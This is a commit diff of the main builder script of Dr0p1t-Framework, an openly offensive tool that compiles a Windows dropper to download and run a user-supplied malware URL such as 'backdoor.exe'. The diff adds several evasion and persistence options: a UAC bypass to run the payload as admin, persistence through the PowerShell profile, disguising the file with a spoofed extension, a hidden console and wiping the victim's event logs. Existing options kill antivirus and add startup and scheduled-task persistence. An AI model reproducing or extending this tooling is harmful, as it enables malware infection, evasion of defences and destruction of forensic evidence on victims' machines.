2
2
#Written by: Karim shoair - D4Vinci ( Dr0p1t-Framework )
3
3
from core .banners import random_banner as banner
4
4
from core .color import *
5
+ from core .Phishing import *
5
6
from core import color ,updater
6
7
import argparse ,os ,textwrap ,sys ,subprocess , shutil ,random
7
8
12
13
description = textwrap .dedent ( warn () ),
13
14
epilog = """\n Examples :
14
15
./Dr0p1t.py Malware_Url [Options]
15
- ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
16
+ ./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
16
17
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
17
- ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1
18
- ./Dr0p1t.py https://test.com/backdoor.exe -s - t -k --nouac -i flash.ico
18
+ ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
19
+ ./Dr0p1t.py https://test.com/backdoor.zip - t -k --nouac -i flash.ico --spoof pdf --zip
19
20
20
21
Note : Scripts like (bat\\ ps1\\ vbs) can only loaded from the scripts folder.
21
22
So if you wanna use custom scripts made by yourself,put it in the scripts folder.
24
25
parser .add_argument ("url" , metavar = 'Malware_url' ,nargs = "?" , help = "Url to your malware" )
25
26
parser .add_argument ("-s" , action = 'store_true' , help = "Add your malware to startup (Persistence)" )
26
27
parser .add_argument ("-t" , action = 'store_true' , help = "Add your malware to task scheduler (Persistence)" )
28
+ parser .add_argument ("-a" , action = 'store_true' , help = "Add your link to powershell user profile (Persistence)" )
27
29
parser .add_argument ("-k" , action = 'store_true' , help = "Kill antivirus process before running your malware." )
28
30
parser .add_argument ("-b" , help = "Run this batch script before running your malware. Check scripts folder" )
29
31
parser .add_argument ("-p" , help = "Run this powershell script before running your malware. Check scripts folder" )
30
32
parser .add_argument ("-v" , help = "Run this vbs script before running your malware. Check scripts folder" )
31
- parser .add_argument ("--only32" ,action = 'store_true' , help = "Download your malware for 32 bit devices only" )
32
- parser .add_argument ("--only64" ,action = 'store_true' , help = "Download your malware for 64 bit devices only" )
33
+ parser .add_argument ("--runas" ,action = 'store_true' , help = "Bypass UAC and run your malware as admin" )
34
+ parser .add_argument ("--spoof" , help = "Spoof the final file to an extension you choose." )
35
+ parser .add_argument ("--zip" ,action = 'store_true' , help = "Tell Dr0p1t that the malware in the link is compressed as zip" )
33
36
parser .add_argument ("--upx" ,action = 'store_true' , help = "Use UPX to compress the final file." )
34
37
parser .add_argument ("--nouac" ,action = 'store_true' , help = "Try to disable UAC on victim device" )
35
- parser .add_argument ("--nocompile" ,action = 'store_true' , help = "Tell the framework to not compile the final file." )
36
38
parser .add_argument ("-i" , help = "Use icon to the final file. Check icons folder." )
39
+ parser .add_argument ("--noclearevent" ,action = 'store_true' , help = "Tell the framework to not clear the event logs on target machine after finish." )
40
+ parser .add_argument ("--nocompile" ,action = 'store_true' , help = "Tell the framework to not compile the final file." )
41
+ parser .add_argument ("--only32" ,action = 'store_true' , help = "Download your malware for 32 bit devices only" )
42
+ parser .add_argument ("--only64" ,action = 'store_true' , help = "Download your malware for 64 bit devices only" )
37
43
parser .add_argument ("-q" , action = 'store_true' , help = "Stay quite ( no banner )" )
38
44
parser .add_argument ("-u" , action = 'store_true' , help = "Check for updates" )
39
45
parser .add_argument ("-nd" , action = 'store_true' , help = "Display less output information" )
@@ -45,7 +51,7 @@ def PyInstaller():
45
51
else :
46
52
if sys .platform == "darwin" : # On osx, the default .wine directory is located on $HOME/.wine/
47
53
installer = "wine " + os .environ ['HOME' ] + "/.wine/drive_c/Python27/python.exe " + os .environ ['HOME' ] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
48
- else : # TODO : find all defaults location for .wine , or request it directely to the user if not found.
54
+ else : #ToDo : find all defaults location for .wine , or request it directely to the user if not found.
49
55
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
50
56
51
57
p = subprocess .Popen ( installer + " -h" ,shell = True ,stdout = subprocess .PIPE ,stderr = subprocess .PIPE )
@@ -57,7 +63,7 @@ def PyInstaller():
57
63
58
64
def get_code (f ):
59
65
code = open ( f ,"r" ).read ()
60
- return code .split ("#Start\n " )[1 ]
66
+ return " \n " + code .split ("#Start" )[1 ]
61
67
62
68
def make_copy ( old ,new ):
63
69
old_file = open ( old ,"rb" )
@@ -68,7 +74,7 @@ def make_copy( old,new ):
68
74
new_file .close ()
69
75
70
76
def random_name ():
71
- return "Your_daily_malware_ " + str (random .randint (0 ,100 ))
77
+ return "Dr0pp1r " + str (random .randint (0 ,100 ))
72
78
73
79
def clear ():
74
80
if os .name == "nt" :
@@ -115,7 +121,7 @@ def main():
115
121
url = args .url
116
122
p = "resources"
117
123
fullp = os .getcwd ()
118
- command = installer + " -F --noupx {} "
124
+ command = installer + " --noconsole - F --noupx {} "
119
125
bat_path = ["scripts" ,"bat" ]
120
126
ps1_path = ["scripts" ,"powershell" ]
121
127
vbs_path = ["scripts" ,"vbs" ]
@@ -124,55 +130,85 @@ def main():
124
130
print_status (args )
125
131
colored_print ( " [*] Creating DR0P3R.." ,"g" )
126
132
133
+ f += "#!/usr/bin/python\n "
134
+ f += "# -*- coding: iso-8859-15 -*-\n "
127
135
f += 'import subprocess\n '
128
136
137
+ f += get_code ( os .path .join (p ,"pre_run.py" ) )+ "\n "
138
+ #this functions for :
139
+ #get_output(cmd): to get output of command without using pipe to escape the fatal error after compiling !!
140
+
129
141
if args .k :
130
142
if not args .nd :
131
143
colored_print ( " [*] Adding kill antivirus function.." ,"g" )
132
144
f += get_code ( os .path .join (p ,"killav.py" ) )+ "\n "
133
145
134
146
if sys .version_info [0 ]== 3 :
135
- f += 'from urllib.request import urlretrieve\n '
147
+ f += '\n from urllib.request import urlretrieve'
136
148
elif sys .version_info [0 ]== 2 :
137
- f += 'from urllib import urlretrieve\n '
138
-
139
- f += get_code ( os .path .join (p ,"dropper.py" ) )+ "\n "
149
+ f += '\n from urllib import urlretrieve'
140
150
141
151
if "http" not in url :
142
152
url = "http://" + url
143
153
144
154
if args .only32 :
145
- f += 'fire_things_up("{}",arch="32")\n ' .format ( url )
155
+ if args .zip :
156
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).replace ("##~Import-Here~##" ,"import zipfile" ).split ("#Someshit" )[0 ]+ "\n "
157
+ f += '\n fire_things_up("{}","32",True)\n ' .format ( url )
158
+ else :
159
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).split ("#Someshit" )[0 ]
160
+ f += '\n fire_things_up("{}","32")\n ' .format ( url )
161
+
146
162
elif args .only64 :
147
- f += 'fire_things_up("{}",arch="64")\n ' .format ( url )
163
+ if args .zip :
164
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).replace ("##~Import-Here~##" ,"import zipfile" ).split ("#Someshit" )[0 ]+ "\n "
165
+ f += '\n fire_things_up("{}","64",True)\n ' .format ( url )
166
+ else :
167
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).split ("#Someshit" )[0 ]
168
+ f += '\n fire_things_up("{}","64")\n ' .format ( url )
169
+
148
170
elif not args .only32 or not args .only64 :
149
- f += 'fire_things_up("{}")\n ' .format ( url )
171
+ if args .zip :
172
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).replace ("##~Import-Here~##" ,"import zipfile" ).split ("#Someshit" )[0 ]+ "\n "
173
+ f += '\n fire_things_up("{}",False,True)\n ' .format ( url )
174
+ else :
175
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).split ("#Someshit" )[0 ]
176
+ f += '\n fire_things_up("{}")\n ' .format ( url )
177
+
178
+ if args .runas :
179
+ f += get_code ( os .path .join (p ,"runas.py" ) )
180
+ else :
181
+ f += get_code ( os .path .join (p ,"dropper.py" ) ).split ("#Someshit" )[1 ]
150
182
151
183
if args .s :
152
184
if not args .nd :
153
185
colored_print ( " [*] Adding startup function.." ,"g" )
154
- if "from random import randint" not in f :
155
- f += "from random import randint\n "
156
- if "File = 'hosts.exe'" not in f :
157
- f += "File = 'hosts.exe'\n "
186
+ if "File = 'library.exe'" not in f :
187
+ f += "\n File = 'library.exe'"
158
188
f += get_code ( os .path .join (p ,"add2startup.py" ) )+ "\n "
159
189
160
190
if args .t :
161
191
if not args .nd :
162
192
colored_print ( " [*] Adding task function.." ,"g" )
163
- if "from random import randint" not in f :
164
- f += "from random import randint\n "
165
- if "File = 'hosts.exe'" not in f :
166
- f += "File = 'hosts.exe'\n "
193
+ if "File = 'library.exe'" not in f :
194
+ f += "\n File = 'library.exe'"
167
195
f += get_code ( os .path .join (p ,"add2task.py" ) )+ "\n "
168
196
197
+ if args .a :
198
+ if not args .nd :
199
+ colored_print ( " [*] Adding add2profile function.." ,"g" )
200
+ if "File = 'library.exe'" not in f :
201
+ f += "\n File = 'library.exe'\n "
202
+ f += "\n link='{}'" .format (url )
203
+ f += get_code ( os .path .join (p ,"add2profile.py" ) )+ "\n "
204
+
169
205
if args .b :
170
206
try :
171
207
if not args .nd :
172
208
colored_print ( " [*] Adding runbat function.." ,"g" )
173
209
bat_path .append (args .b )
174
210
ff = open ( os .path .join (* bat_path ) ).read ()
175
- f += "Bat_Script_Data = '''{}'''\n " .format ( ff )
211
+ f += "\n Bat_Script_Data = '''{}'''" .format ( ff )
176
212
f += get_code ( os .path .join (p ,"Runbat.py" ) )+ "\n "
177
213
except :
178
214
colored_print ( " [!] Error in reading bat file,are you sure it's in scripts folder ?" ,"r" )
@@ -183,7 +219,7 @@ def main():
183
219
colored_print ( " [*] Adding runps1 function.." ,"g" )
184
220
ps1_path .append (args .p )
185
221
ff = open ( os .path .join (* ps1_path ) ).read ()
186
- f += "Ps1_Script_Data = '''{}'''\n " .format ( ff )
222
+ f += "\n Ps1_Script_Data = '''{}'''" .format ( ff )
187
223
f += get_code ( os .path .join (p ,"Runps1.py" ) )+ "\n "
188
224
except :
189
225
colored_print ( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?" ,"r" )
@@ -194,7 +230,7 @@ def main():
194
230
colored_print ( " [*] Adding runvbs function.." ,"g" )
195
231
vbs_path .append (args .v )
196
232
ff = open ( os .path .join (* vbs_path ) ).read ()
197
- f += "Vbs_Script_Data = '''{}'''\n " .format ( ff )
233
+ f += "\n Vbs_Script_Data = '''{}'''" .format ( ff )
198
234
f += get_code ( os .path .join (p ,"Runvbs.py" ) )+ "\n "
199
235
except :
200
236
colored_print ( " [!] Error in reading vbs file,are you sure it's in scripts folder ?" ,"r" )
@@ -206,8 +242,14 @@ def main():
206
242
207
243
colored_print ( " [*] Adding self destruct function.." ,"g" )
208
244
f += get_code ( os .path .join (p ,"SelfDestruct.py" ) )+ "\n "
245
+
246
+ if not args .noclearevent :
247
+ colored_print ( " [*] Adding clear eventlog function.." ,"g" )
248
+ f += get_code ( os .path .join (p ,"Clearev.py" ) )+ "\n "
249
+
209
250
colored_print ( " [*] Saving the final file.." ,"g" )
210
251
file_name = random_name ()
252
+
211
253
os .chdir ("temp" )
212
254
fo = open ( file_name + ".py" ,"w" )
213
255
fo .write (f )
@@ -217,20 +259,22 @@ def main():
217
259
if PyInstaller ():
218
260
colored_print ( " [*] Compiling the final file to exe.." ,"g" )
219
261
if args .i :
220
- try :
262
+ if os . path . isfile ( os . path . join ( fullp , "icons" , args . i ) ) :
221
263
if not args .nd :
222
264
colored_print ( " [*] Adding icon to the final file.." ,"g" )
223
- ff = open ( os .path .join (fullp ,"icons" ,args .i ) ).read ()
224
265
command += "--icon=" + os .path .join (fullp ,"icons" ,args .i )
225
- except :
266
+ else :
226
267
colored_print ( " [!] Error in icon file,are you sure it's in icons folder ?" ,"r" )
227
268
228
- try :
229
- p = subprocess .Popen ( command .format (file_name + ".py" ), shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
230
- (output , err ) = p .communicate ()
231
- pw = p .wait ()
232
- except :
233
- colored_print ( " [!] Error in compiling file,are you sure pyinstaller is installed ?" ,"r" )
269
+ p = subprocess .Popen ( command .format (file_name + ".py" ), shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
270
+ (output , err ) = p .communicate ()
271
+ debug = output .decode () + "\n " + err .decode ()
272
+ pw = p .wait ()
273
+ if "Traceback" in debug :
274
+ f = open ("debug.txt" ,"w" )
275
+ f .write (debug )
276
+ f .close ()
277
+ colored_print ( " [!] Error in compiling file [ See debug.txt file in temp folder ! ]" ,"r" )
234
278
sys .exit (0 )
235
279
236
280
file_name = get_executable ()
@@ -242,6 +286,15 @@ def main():
242
286
243
287
os .chdir (".." )
244
288
make_copy ( os .path .join ("temp" ,"dist" ,file_name ),os .path .join ("output" ,file_name ) )
289
+
290
+ if args .spoof :
291
+ if not args .nd :
292
+ colored_print ( " [*] Spoofing the final file extension.." ,"g" )
293
+ if Spoof_extension (os .path .join ("output" ,file_name ),args .spoof ):
294
+ colored_print ( " [*] File extension spoof complate !" ,"g" )
295
+ else :
296
+ colored_print ( " [!] File extension spoof failed !" ,"r" )
297
+
245
298
else :
246
299
colored_print ( " [!] PyInstaller not installed : Can't compile file to exe.." ,"r" )
247
300
0 commit comments